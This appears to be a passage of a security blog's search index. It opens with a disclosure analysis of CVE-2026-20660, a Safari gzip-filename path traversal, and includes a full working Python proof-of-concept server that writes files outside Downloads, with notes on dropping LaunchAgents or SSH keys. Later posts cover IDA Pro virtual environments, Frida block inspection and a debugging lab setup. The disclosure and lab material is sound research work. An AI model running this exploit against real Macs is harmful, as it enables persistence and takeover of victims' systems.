attacker\u0026rsquo;s SSH public key (requires .ssh/ directory to already exist and no existing file with the same name). Executable scripts at arbitrary paths \u0026ndash; decompressed files automatically receive +x permissions. iOS (Not Affected) Symbol analysis confirmed that NSGZipDecoder is invoked only on macOS. iOS uses an entirely separate decompression mechanism.\nPlatform Download/Decompression Architecture Platform Download API Decompression Filename Handling macOS NSURLDownload NSGZipDecoder (conforms to NSURLDownloadDecoder protocol) filenameWithOriginalFilename: \u0026ndash; vulnerable iOS NSURLSession SZExtractor / STRemoteExtractor Independent code path, not affected Symbol Analysis Evidence NSGZipDecoder conforms to the NSURLDownloadDecoder protocol:\n__OBJC_CLASS_PROTOCOLS_$_NSGZipDecoder -\u0026gt; __OBJC_PROTOCOL_$_NSURLDownloadDecoder NSURLDownload is a legacy macOS-only download API (never available on iOS).\nNSGZipDecoder.init calls macOS-only APIs:\n-[NSGZipDecoder init] -\u0026gt; _CFURLDownloadCancel -\u0026gt; -[NSURLDownload cleanupChallenges] iOS NSURLSessionDownloadTask uses a different decompression path:\nNSURLSessionTask._extractor -\u0026gt; SZExtractor (Streaming Zip Extractor) -\u0026gt; STRemoteExtractor These are NSURLSession-specific decompressors, entirely independent of NSGZipDecoder.\nConsistent with Apple\u0026rsquo;s advisory: CVE-2026-20660 is listed only for \u0026ldquo;Available for: macOS Sonoma and macOS Sequoia\u0026rdquo;, not iOS.\nExploitation Constraints macOS only \u0026ndash; iOS uses the independent SZExtractor decompression path. Requires Safari\u0026rsquo;s \u0026ldquo;Open safe files after downloading\u0026rdquo; to be enabled (on by default in macOS Safari). Cannot overwrite existing files \u0026ndash; Safari applies automatic numeric-suffix renaming for conflicts. Path traversal requires depth \u0026gt;= 2 (decompression occurs in a subdirectory of ~/Downloads/). The attacker must know the relative directory depth to the target path. Exploitation Advantages Decompressed scripts automatically receive executable permissions \u0026ndash; no manual chmod +x required by the victim. ~/Library/LaunchAgents/ exists by default and plist filenames are attacker-controlled \u0026ndash; no conflict risk. The entire attack chain requires zero user interaction (Safari\u0026rsquo;s auto-decompression is enabled by default). Proof of Concept The PoC consists of two files: server.py (core gzip builder and HTTP server) and server_overwrite.py (simplified variant targeting ~/pwn.sh).\nserver.py #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; CVE-2026-20660 PoC -- CFNetwork NSGZipDecoder Path Traversal Root Cause (from BinDiff patch analysis): -[NSGZipDecoder filenameWithOriginalFilename:] reads the FNAME field from the gzip header. The OLD version returns it as-is. The NEW version calls [NSString lastPathComponent] to strip directory components. Attack Vector: The path traversal is embedded in the GZIP HEADER (RFC 1952 FNAME), NOT in the Content-Disposition HTTP header. 1. Server sends a .gz file with a CLEAN Content-Disposition name 2. Safari downloads \u0026#34;harmless.gz\u0026#34; to ~/Downloads/ 3. Safari auto-decompresses .gz (if \u0026#34;Open safe files\u0026#34; is enabled) 4. NSGZipDecoder reads FNAME from gzip header: \u0026#34;../../evil.txt\u0026#34; 5. OLD version uses \u0026#34;../../evil.txt\u0026#34; -\u0026gt; file written OUTSIDE Downloads 6. NEW version: lastPathComponent -\u0026gt; \u0026#34;evil.txt\u0026#34; -\u0026gt; safe Usage: python3 server.py [--port PORT] [--depth DEPTH] \u0026#34;\u0026#34;\u0026#34; import argparse import gzip import http.server import io import os import struct import sys import time import urllib.parse from datetime import datetime PROOF_TEXT = \u0026#34;\u0026#34;\u0026#34;\\ CVE-2026-20660 -- Proof of Arbitrary File Write ================================================ This file was written by exploiting a path traversal in the gzip FNAME header field, processed by -[NSGZipDecoder filenameWithOriginalFilename:] Timestamp: {timestamp} FNAME payload: {fname} \u0026#34;\u0026#34;\u0026#34; def make_gzip_with_fname(content: bytes, fname: str) -\u0026gt; bytes: \u0026#34;\u0026#34;\u0026#34; Build a gzip stream with a custom FNAME (original filename) header. RFC 1952 gzip format: +---+---+---+---+---+---+---+---+---+---+ |ID1|ID2|CM |FLG| MTIME |XFL|OS | +---+---+---+---+---+---+---+---+---+---+ FLG bit 3 (FNAME): If set, an original file name is present, terminated by a zero byte. \u0026#34;\u0026#34;\u0026#34; import zlib # Gzip header header = bytearray() header += b\u0026#39;\\x1f\\x8b\u0026#39; # ID1, ID2 (magic) header += b\u0026#39;\\x08\u0026#39; # CM = deflate header += b\u0026#39;\\x08\u0026#39; # FLG = FNAME bit set header += struct.pack(\u0026#39;\u0026lt;I\u0026#39;, int(time.time())) # MTIME header += b\u0026#39;\\x00\u0026#39; # XFL header += b\u0026#39;\\xff\u0026#39; # OS = unknown # FNAME field: null-terminated string header += fname.encode(\u0026#39;latin-1\u0026#39;) + b\u0026#39;\\x00\u0026#39; # Compressed data compress = zlib.compressobj(9, zlib.DEFLATED, -zlib.MAX_WBITS) deflated = compress.compress(content) deflated += compress.flush() # Trailer: CRC32 + ISIZE crc = zlib.crc32(content) \u0026amp; 0xFFFFFFFF isize = len(content) \u0026amp; 0xFFFFFFFF trailer = struct.pack(\u0026#39;\u0026lt;II\u0026#39;, crc, isize) return bytes(header) + deflated + trailer class ExploitHandler(http.server.BaseHTTPRequestHandler): traversal_depth = 5 target_name = \u0026#34;cve-2026-20660-proof.txt\u0026#34; def do_GET(self): parsed = urllib.parse.urlparse(self.path) query = urllib.parse.parse_qs(parsed.query) if parsed.path == \u0026#34;/\u0026#34;: self._serve_landing() elif parsed.path == \u0026#34;/download\u0026#34;: depth = int(query.get(\u0026#34;depth\u0026#34;, [str(self.traversal_depth)])[0]) custom_fname = query.get(\u0026#34;fname\u0026#34;, [None])[0] self._serve_exploit(depth, custom_fname) else: self.send_error(404) def _serve_landing(self): page = \u0026#34;\u0026#34;\u0026#34;\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\u0026lt;title\u0026gt;CVE-2026-20660 PoC\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;CVE-2026-20660 PoC\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;NSGZipDecoder FNAME Path Traversal\u0026lt;/p\u0026gt; \u0026lt;a href=\u0026#34;/download?depth=2\u0026#34;\u0026gt;Trigger (depth=2)\u0026lt;/a\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#34;\u0026#34;\u0026#34;.encode() self.send_response(200) self.send_header(\u0026#34;Content-Type\u0026#34;, \u0026#34;text/html; charset=utf-8\u0026#34;) self.send_header(\u0026#34;Content-Length\u0026#34;, str(len(page))) self.end_headers() self.wfile.write(page) def _serve_exploit(self, depth: int, custom_fname: str | None = None): ts = datetime.now().isoformat() if custom_fname: fname = custom_fname else: fname = \u0026#34;../\u0026#34; * depth + self.target_name text = PROOF_TEXT.format(timestamp=ts, fname=fname) gz_data = make_gzip_with_fname(text.encode(\u0026#39;utf-8\u0026#39;), fname) clean_name = \u0026#34;report.gz\u0026#34; print(f\u0026#34;\\n{\u0026#39;=\u0026#39;*60}\u0026#34;) print(f\u0026#34; Exploit triggered @ {ts}\u0026#34;) print(f\u0026#34; Content-Disposition: {clean_name} (clean)\u0026#34;) print(f\u0026#34; Gzip FNAME header: {fname} (malicious)\u0026#34;) print(f\u0026#34; Payload: {len(gz_data)} bytes\u0026#34;) print(f\u0026#34; Client: {self.client_address[0]}\u0026#34;) print(f\u0026#34;{\u0026#39;=\u0026#39;*60}\u0026#34;) self.send_response(200) self.send_header(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/gzip\u0026#34;) self.send_header(\u0026#34;Content-Disposition\u0026#34;, f\u0026#39;attachment; filename=\u0026#34;{clean_name}\u0026#34;\u0026#39;) self.send_header(\u0026#34;Content-Length\u0026#34;, str(len(gz_data))) self.send_header(\u0026#34;Cache-Control\u0026#34;, \u0026#34;no-store\u0026#34;) self.end_headers() self.wfile.write(gz_data) def log_message(self, fmt, *args): sys.stderr.write(f\u0026#34;[{datetime.now():%H:%M:%S}] {self.client_address[0]} - {fmt % args}\\n\u0026#34;) def main(): p = argparse.ArgumentParser(description=\u0026#34;CVE-2026-20660 PoC Server\u0026#34;) p.add_argument(\u0026#34;--port\u0026#34;, \u0026#34;-p\u0026#34;, type=int, default=8080) p.add_argument(\u0026#34;--bind\u0026#34;, \u0026#34;-b\u0026#34;, default=\u0026#34;0.0.0.0\u0026#34;) p.add_argument(\u0026#34;--depth\u0026#34;, \u0026#34;-d\u0026#34;, type=int, default=5, help=\u0026#34;Path traversal depth (../ count)\u0026#34;) p.add_argument(\u0026#34;--name\u0026#34;, \u0026#34;-n\u0026#34;, default=\u0026#34;cve-2026-20660-proof.txt\u0026#34;, help=\u0026#34;Target filename for proof\u0026#34;) args = p.parse_args() ExploitHandler.traversal_depth = args.depth ExploitHandler.target_name = args.name srv = http.server.HTTPServer((args.bind, args.port), ExploitHandler) print(f\u0026#34;\\n CVE-2026-20660 PoC Server\u0026#34;) print(f\u0026#34; http://{args.bind}:{args.port}/\u0026#34;) print(f\u0026#34; Default depth: {args.depth}\u0026#34;) print(f\u0026#34; Target name: {args.name}\u0026#34;) print(f\u0026#34;\\n Attack: gzip FNAME header path traversal\u0026#34;) print(f\u0026#34; Requires: \u0026#39;Open safe files after downloading\u0026#39; in Safari\\n\u0026#34;) try: srv.serve_forever() except KeyboardInterrupt: print(\u0026#34;\\nStopped.\u0026#34;) srv.server_close() if __name__ == \u0026#34;__main__\u0026#34;: main() Usage cd CVE-2026-20660 python3 exploit/server.py --port 8888 # Open in a vulnerable Safari (\u0026lt; 26.3): # http://\u0026lt;server-ip\u0026gt;:8888/ Prerequisite: Safari Preferences \u0026gt; General \u0026gt; \u0026ldquo;Open safe files after downloading\u0026rdquo; must be enabled (this is the macOS Safari default).\nVerification:\nls ~/cve-2026-20660-proof.txt # with depth=2 cat ~/cve-2026-20660-proof.txt # inspect proof content Mitigation Update to Safari 26.3 or later. Disable Safari Preferences \u0026gt; General \u0026gt; \u0026ldquo;Open safe files after downloading\u0026rdquo;. Do not download .gz files from untrusted sources. References Apple Security Release \u0026ndash; Safari 26.3 Amy (original discoverer) RFC 1952 \u0026ndash; GZIP File Format Specification ","permalink":"https://ret0.dev/posts/cve-2026-20660/","summary":"\u003ch2 id=\"vulnerability-overview\"\u003eVulnerability Overview\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eCVE-2026-20660\u003c/strong\u003e is a path handling vulnerability in Apple\u0026rsquo;s CFNetwork framework that allows a remote attacker to write files to arbitrary locations on the victim\u0026rsquo;s filesystem by serving a malicious gzip file.\u003c/p\u003e\n\u003ctable\u003e\n \u003cthead\u003e\n \u003ctr\u003e\n \u003cth\u003eField\u003c/th\u003e\n \u003cth\u003eDetails\u003c/th\u003e\n \u003c/tr\u003e\n \u003c/thead\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cstrong\u003eComponent\u003c/strong\u003e\u003c/td\u003e\n \u003ctd\u003eCFNetwork (macOS)\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cstrong\u003eImpact\u003c/strong\u003e\u003c/td\u003e\n \u003ctd\u003eA remote user may be able to write arbitrary files\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cstrong\u003eFix Description\u003c/strong\u003e\u003c/td\u003e\n \u003ctd\u003eA path handling issue was addressed with improved logic\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cstrong\u003eFixed In\u003c/strong\u003e\u003c/td\u003e\n \u003ctd\u003eSafari 26.3 / macOS Sequoia 26.3 (2026-02-11)\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cstrong\u003eDiscovered By\u003c/strong\u003e\u003c/td\u003e\n \u003ctd\u003e\u003ca href=\"https://amys.website/\"\u003eAmy\u003c/a\u003e\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cstrong\u003eVulnerability Class\u003c/strong\u003e\u003c/td\u003e\n \u003ctd\u003ePath Traversal via Gzip FNAME header (RFC 1952)\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cstrong\u003eTrigger Condition\u003c/strong\u003e\u003c/td\u003e\n \u003ctd\u003eSafari \u0026ldquo;Open safe files after downloading\u0026rdquo; enabled (on by default)\u003c/td\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\u003cstrong\u003eAdvisory\u003c/strong\u003e\u003c/td\u003e\n \u003ctd\u003e\u003ca href=\"https://support.apple.com/en-ca/126354\"\u003eApple Security Release - Safari 26.3\u003c/a\u003e\u003c/td\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclosure note:\u003c/strong\u003e This is a 1-day analysis performed independently after Apple released the fix in Safari 26.3. The original vulnerability was discovered and reported by Amy. All testing was conducted on macOS with the affected version (Safari 26.2 / macOS 26.2.1) against locally controlled systems.\u003c/p\u003e","title":"CVE-2026-20660: CFNetwork NSGZipDecoder Path Traversal to Arbitrary File Write"},{"content":"For any serious reverse engineer, keeping a clean and organized scripting environment is key. Using a Python virtual environment (venv) for your IDA Pro projects is the best way to manage dependencies and avoid conflicts.\nMany online guides are outdated, recommending methods that no longer work. This post provides a single, modern, and straightforward solution to connect a Python venv to IDA Pro on macOS using the official, built-in IDAPythonrc startup script.\nThe Goal: Automatic Venv Loading Our objective is simple:\nCreate an isolated virtual environment (venv). Install any Python package into this venv using pip. Have IDA Pro automatically find and use these packages every time it starts, with no manual steps. The Modern Solution: The IDAPythonrc Script The outdated approach of using activate_this.py is no longer valid, as the script isn\u0026rsquo;t included in modern virtual environments. The correct method is to directly tell IDA\u0026rsquo;s Python interpreter where your packages are by modifying its sys.path. We can automate this by placing a script in IDA\u0026rsquo;s user directory.\nStep 1: Create Your Virtual Environment First, create a venv where you\u0026rsquo;ll store your tools. A convenient location is your IDA user directory.\n# Navigate to your IDA user directory cd ~/.idapro # Create a virtual environment named \u0026#39;venv\u0026#39; python3 -m venv venv # Activate it to install packages source venv/bin/activate # Install your desired packages (e.g., keystone-engine) pip install keystone-engine # Deactivate when you\u0026#39;re done deactivate Step 2: Create Your IDAPythonrc Startup Script\nNext, create a file named IDAPythonrc inside your ~/.idapro/ directory. IDA automatically runs this script every time it initializes its Python engine. Paste the following code into the file:\n# ~/.idapro/IDAPythonrc # This script is executed when IDA\u0026#39;s Python environment is initialized. import os import sys import platform print(\u0026#34;--- Loading custom Python venv from IDAPythonrc ---\u0026#34;) def add_venv_to_ida_path(venv_root_path): \u0026#34;\u0026#34;\u0026#34; Finds the site-packages directory of a virtual environment and adds it to sys.path. \u0026#34;\u0026#34;\u0026#34; if not os.path.isdir(venv_root_path): print(f\u0026#34;[-] VENV LOADER: Virtual environment path does not exist: {venv_root_path}\u0026#34;) return site_packages_path = \u0026#34;\u0026#34; # Determine the site-packages path based on the operating system if platform.system() == \u0026#34;Windows\u0026#34;: path = os.path.join(venv_root_path, \u0026#34;Lib\u0026#34;, \u0026#34;site-packages\u0026#34;) if os.path.isdir(path): site_packages_path = path else: # macOS, Linux, etc. lib_path = os.path.join(venv_root_path, \u0026#34;lib\u0026#34;) if os.path.isdir(lib_path): # Find the lib/pythonX.Y directory python_dirs = [d for d in os.listdir(lib_path) if d.startswith(\u0026#34;python\u0026#34;)] if python_dirs: path = os.path.join(lib_path, python_dirs[0], \u0026#34;site-packages\u0026#34;) if os.path.isdir(path): site_packages_path = path # Add the path to sys.path if it\u0026#39;s found and not already present if site_packages_path and os.path.isdir(site_packages_path): if site_packages_path not in sys.path: sys.path.insert(0, site_packages_path) print(f\u0026#34;[+] VENV LOADER: Successfully added to sys.path: {site_packages_path}\u0026#34;) else: print(f\u0026#34;[*] VENV LOADER: Path already in sys.path: {site_packages_path}\u0026#34;) else: print(f\u0026#34;[-] VENV LOADER: Could not find a \u0026#39;site-packages\u0026#39; directory in {venv_root_path}\u0026#34;) # Define the path to your virtual environment. # We build the path manually as idaapi may not be fully available yet. user_home_dir = os.path.expanduser(\u0026#34;~\u0026#34;) venv_path = os.path.join(user_home_dir, \u0026#34;.idapro\u0026#34;, \u0026#34;venv\u0026#34;) # Run the function to add the venv path add_venv_to_ida_path(venv_path) print(\u0026#34;--- Finished loading custom Python venv ---\u0026#34;) Conclusion\nThat\u0026rsquo;s all there is to it.\nWith this single script in place, you have a robust and future-proof setup. Every time you launch IDA Pro, it will automatically connect to your virtual environment, giving you access to all your favorite tools without polluting your system or requiring manual activation.\nReferences\nUsing a virtualenv for IDAPython ","permalink":"https://ret0.dev/posts/using-venv-with-ida/","summary":"\u003cp\u003eFor any serious reverse engineer, keeping a clean and organized scripting environment is key. Using a Python virtual environment (\u003ccode\u003evenv\u003c/code\u003e) for your IDA Pro projects is the best way to manage dependencies and avoid conflicts.\u003c/p\u003e\n\u003cp\u003eMany online guides are outdated, recommending methods that no longer work. This post provides a single, modern, and straightforward solution to connect a Python \u003ccode\u003evenv\u003c/code\u003e to IDA Pro on macOS using the official, built-in \u003ccode\u003eIDAPythonrc\u003c/code\u003e startup script.\u003c/p\u003e","title":"A Clean \u0026 Simple Guide to Using Python Virtual Environments with IDA Pro on macOS"},{"content":"Have you ever wanted to peek inside an app on your iPhone or iPad to see exactly what data it\u0026rsquo;s processing, especially to understand what information it\u0026rsquo;s sending or receiving? Today, I\u0026rsquo;ll introduce you to a simple yet powerful method using Frida, which enables you to dynamically detect the parameters of a special piece of code called a \u0026ldquo;block\u0026rdquo; within iOS applications.\nFirst: What Exactly is a Block? In iOS programming, a block is a small, self-contained piece of code that you can pass around your app to be executed later. Imagine it as giving your phone number (the block) to a friend who can then call you when something important happens.\nSometimes, you might want to observe precisely what data these blocks are receiving (inputs) and producing (outputs). Frida helps you achieve this dynamically, without altering the app\u0026rsquo;s original code.\nDetailed Structure of a Block in Memory Understanding the internal structure of a block helps you accurately retrieve data about its signature and arguments. Here\u0026rsquo;s a clear depiction of a block\u0026rsquo;s memory layout:\nstruct Block_literal_1 { void *isa; // Pointer to \u0026amp;_NSConcreteStackBlock or \u0026amp;_NSConcreteGlobalBlock int flags; // Flags indicating block type and properties int reserved; // Reserved for future use void (*invoke)(struct Block_literal_1 *, ...); // Function pointer to the block implementation struct Block_descriptor_1 { unsigned long reserved; // Reserved, usually NULL unsigned long size; // Size of Block_literal_1 structure // Optional helper functions void (*copy_helper)(void *dst, void *src); // Present if flag (1\u0026lt;\u0026lt;25) is set void (*dispose_helper)(void *src); // Present if flag (1\u0026lt;\u0026lt;25) is set // Required for blocks containing a signature const char *signature; // Present if flag (1\u0026lt;\u0026lt;30) is set } *descriptor; // Captured variables (if any) }; The signature within the block provides essential details such as return types and parameter types, crucial for dynamic analysis.\nWhat is Frida? \u0026ldquo;Inject your scripts into black-box processes. Hook functions, spy on crypto APIs, or trace private application logic, all without needing source code.\u0026rdquo;\nFrida is a powerful dynamic instrumentation toolkit that lets you observe and interact with applications at runtime. Think of Frida as a magical microscope that lets you see what\u0026rsquo;s happening inside apps in real-time.\nUsing Frida to Discover Block Parameters Let\u0026rsquo;s walk through finding parameters dynamically within a hypothetical iOS app.\nStep 1: Connecting Frida to Your App Connect your device to your computer and run the following command in your terminal:\nfrida -U -n Safari This attaches Frida to the Safari app on your iPhone.\nStep 2: Printing the Block Dynamically Assume we\u0026rsquo;re interested in a block named addSecurityCheckBlock within MMNetworkManager. Fetch and print the block dynamically:\nconst blk = ObjC.classes.MMNetworkManager.sharedInstance().addSecurityCheckBlock(); console.log(\u0026#34;Block Address:\u0026#34;, blk); This outputs the memory address of the block.\nStep 3: Interpreting the Block Signature Blocks have an internal signature that describes their inputs and outputs. Here\u0026rsquo;s how to dynamically print the signature:\nconst block = new ObjC.Block(blk); const signaturePtr = block.handle .add(0x18) .readPointer() // descriptor pointer .add(0x10) .readPointer(); // signature pointer const signature = signaturePtr.readCString(); console.log(\u0026#34;Signature:\u0026#34;, signature); A typical signature looks like:\nSignature: @\u0026#34;NSDictionary\u0026#34;24@?0@\u0026#34;NSURL\u0026#34;8@\u0026#34;NSDictionary\u0026#34;16 The numbers represent byte offsets within the stack frame when calling the block:\nSignature Part Meaning Offset (Bytes) @\u0026quot;NSDictionary\u0026quot; (return type) Returns an NSDictionary * 24 bytes total @?0 Block itself (@?), the hidden first param 0 bytes @\u0026quot;NSURL\u0026quot;8 First visible parameter: NSURL * 8 bytes @\u0026quot;NSDictionary\u0026quot;16 Second visible parameter: NSDictionary * 16 bytes Step 4: Decoding the Signature Clearly Simplify the signature decoding with the following script:\nconst sigClean = signature.replace(/\\d+/g, \u0026#34;\u0026#34;); // Remove digits const types = sigClean.match(/@\\?|@\u0026#34;.*?\u0026#34;|[@#:vBcCiIlLqQfd]/g); function decodeType(type) { if (type === \u0026#34;@?\u0026#34;) return \u0026#34;block\u0026#34;; if (type.startsWith(\u0026#39;@\u0026#34;\u0026#39;)) return type.slice(2, -1) + \u0026#34; *\u0026#34;; switch (type) { case \u0026#34;v\u0026#34;: return \u0026#34;void\u0026#34;; case \u0026#34;@\u0026#34;: return \u0026#34;id\u0026#34;; case \u0026#34;#\u0026#34;: return \u0026#34;Class\u0026#34;; default: return \u0026#34;unknown\u0026#34;; } } console.log(\u0026#34;Return →\u0026#34;, decodeType(types[0])); for (let i = 2; i \u0026lt; types.length; i++) { console.log(\u0026#34;Arg\u0026#34;, i - 1, \u0026#34;→\u0026#34;, decodeType(types[i])); } This produces a clear, readable result:\nReturn → NSDictionary * Arg 1 → NSURL * Arg 2 → NSDictionary * Summary With Frida, you can dynamically explore and understand the parameters passed to blocks in Objective-C apps. By clearly understanding block memory structures, signatures, and offsets, you become adept at analyzing any app\u0026rsquo;s internal logic without altering its codebase.\nReferences Clang Documentation: Block ABI Apple Objective-C Runtime Guide ","permalink":"https://ret0.dev/posts/how-to-use-frida-hook-oc-block/","summary":"\u003cp\u003eHave you ever wanted to peek inside an app on your iPhone or iPad to see exactly what data it\u0026rsquo;s processing, especially to understand what information it\u0026rsquo;s sending or receiving? Today, I\u0026rsquo;ll introduce you to a simple yet powerful method using Frida, which enables you to dynamically detect the parameters of a special piece of code called a \u0026ldquo;block\u0026rdquo; within iOS applications.\u003c/p\u003e\n\u003ch2 id=\"first-what-exactly-is-a-block\"\u003eFirst: What Exactly is a Block?\u003c/h2\u003e\n\u003cp\u003eIn iOS programming, a block is a small, self-contained piece of code that you can pass around your app to be executed later. Imagine it as giving your phone number (the block) to a friend who can then call you when something important happens.\u003c/p\u003e","title":"How to Use Frida to Find Block Parameters"},{"content":" Download UTM and install it. You can use command brew install --cask utm Download the image form https://releases.ubuntu.com/22.04/ and install it. Then install gdb server by running the command\nsudo apt install gdbserver if you wan to debug some executable file for 32 bit, then you must run the command:\nsudo dpkg --add-architecture i386 sudo apt update sudo apt install libc6:i386 libncurses5:i386 libstdc++6:i386 After the environment setup, you could use\ngdbserver :1234 ./test on the ubuntu machine, and on the mac you can running command\ngdb ./test \\ -ex \u0026#34;target extended-remote 192.168.64.13:1234\u0026#34; replace the ip adress and port\non the mac, you type\ngdb ./pwn101-1644307211706.pwn101 \\ -ex \u0026#34;target extended-remote gdbserver.local:1234\u0026#34; \\ -ex \u0026#34;set remote exec-file /home/gdb/pwn101-1644307211706.pwn101\u0026#34; \\ -ex \u0026#34;break main\u0026#34; PS: the target extended-remote 192.168.64.13:1234 must be the first line, or it won\u0026rsquo;t affect. you also can use pwndbg to run the debugger on the mac. if you wan to disable ASLR, you can use\nsudo sysctl -w kernel.randomize_va_space=0 for temporarily disable it, or permanently disalbe ASLR.\necho \u0026#34;kernel.randomize_va_space = 0\u0026#34; | sudo tee -a /etc/sysctl.conf sudo sysctl -p if you want to access this machine via domain service, like gdbserver.local, you need to install avahi-daemin\nsudo apt install avahi-daemon sudo systemctl enable avahi-daemon sudo systemctl start avahi-daemon This is a script, it would automatically upload the file which you want to debug to the remote server. you can save it as rdbg at /usr/local/bin/, and use it like\nrdb pwn_test --host gdbserver.local --port 1234 #!/usr/bin/env bash # Usage: # ./debug.sh \u0026lt;local-path-to-binary\u0026gt; [--host \u0026lt;remote-host\u0026gt;] [--port \u0026lt;port\u0026gt;] # Example: # ./debug.sh ./vuln --host gdbserver.local --port 1234 set -e # ====== Argument Parsing ====== if [ $# -lt 1 ]; then echo \u0026#34;Usage: $0 \u0026lt;local-path-to-binary\u0026gt; [--host \u0026lt;remote-host\u0026gt;] [--port \u0026lt;port\u0026gt;]\u0026#34; exit 1 fi # Default values REMOTE_USER=\u0026#34;dbg\u0026#34; REMOTE_HOST=\u0026#34;gdbserver.local\u0026#34; PORT=1234 # Extract the first non-flag argument as the local file LOCAL_FILE=\u0026#34;\u0026#34; POSITIONAL_ARGS=() for ((i=1; i\u0026lt;=$#; i++)); do arg=\u0026#34;${!i}\u0026#34; case \u0026#34;$arg\u0026#34; in --host) ((i++)) REMOTE_HOST=\u0026#34;${!i}\u0026#34; ;; --port) ((i++)) PORT=\u0026#34;${!i}\u0026#34; ;; --help|-h) echo \u0026#34;Usage: $0 \u0026lt;local-path-to-binary\u0026gt; [--host \u0026lt;remote-host\u0026gt;] [--port \u0026lt;port\u0026gt;]\u0026#34; exit 0 ;; -*) echo \u0026#34;Unknown option: $arg\u0026#34; exit 1 ;; *) if [ -z \u0026#34;$LOCAL_FILE\u0026#34; ]; then LOCAL_FILE=\u0026#34;$arg\u0026#34; else POSITIONAL_ARGS+=(\u0026#34;$arg\u0026#34;) fi ;; esac done # Validate local file if [ ! -f \u0026#34;$LOCAL_FILE\u0026#34; ]; then echo \u0026#34;Error: File \u0026#39;$LOCAL_FILE\u0026#39; not found.\u0026#34; exit 1 fi # Remote path REMOTE_DIR=\u0026#34;/home/$REMOTE_USER/pwn\u0026#34; FILENAME=$(basename \u0026#34;$LOCAL_FILE\u0026#34;) # Upload # Calculate local file hash LOCAL_HASH=$(sha256sum \u0026#34;$LOCAL_FILE\u0026#34; | cut -d \u0026#39; \u0026#39; -f1) # Get remote file hash (if exists) REMOTE_HASH=$(ssh \u0026#34;$REMOTE_USER@$REMOTE_HOST\u0026#34; \u0026#34;sha256sum \u0026#39;$REMOTE_DIR/$FILENAME\u0026#39; 2\u0026gt;/dev/null | cut -d \u0026#39; \u0026#39; -f1 || true\u0026#34;) if [ \u0026#34;$LOCAL_HASH\u0026#34; == \u0026#34;$REMOTE_HASH\u0026#34; ]; then echo \u0026#34;[✓] Remote file is identical to local file. Skipping upload.\u0026#34; else echo \u0026#34;[*] Uploading updated file to $REMOTE_USER@$REMOTE_HOST:$REMOTE_DIR ...\u0026#34; scp \u0026#34;$LOCAL_FILE\u0026#34; \u0026#34;$REMOTE_USER@$REMOTE_HOST:$REMOTE_DIR/\u0026#34; fi # Start pwndbg echo \u0026#34;[*] Starting GDB with remote target $REMOTE_HOST:$PORT ...\u0026#34; pwndbg -ex \u0026#34;file $LOCAL_FILE\u0026#34; \\ -ex \u0026#34;target extended-remote ${REMOTE_HOST}:${PORT}\u0026#34; \\ -ex \u0026#34;set remote exec-file $REMOTE_DIR/$FILENAME\u0026#34; \\ -ex \u0026#34;break main\u0026#34; ","permalink":"https://ret0.dev/posts/how-to-build-pwn-env-on-mac/","summary":"\u003col\u003e\n\u003cli\u003eDownload UTM and install it. You can use command\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebrew install --cask utm\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"2\"\u003e\n\u003cli\u003eDownload the image form \u003ca href=\"https://releases.ubuntu.com/22.04/\"\u003ehttps://releases.ubuntu.com/22.04/\u003c/a\u003e and install it.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThen install gdb server by running the command\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt install gdbserver\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eif you wan to debug some executable file for 32 bit, then you must run the command:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo dpkg --add-architecture i386\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt update\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt install libc6:i386 libncurses5:i386 libstdc++6:i386\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAfter the environment setup, you could use\u003c/p\u003e","title":"How to build a PWN environment on Mac"}]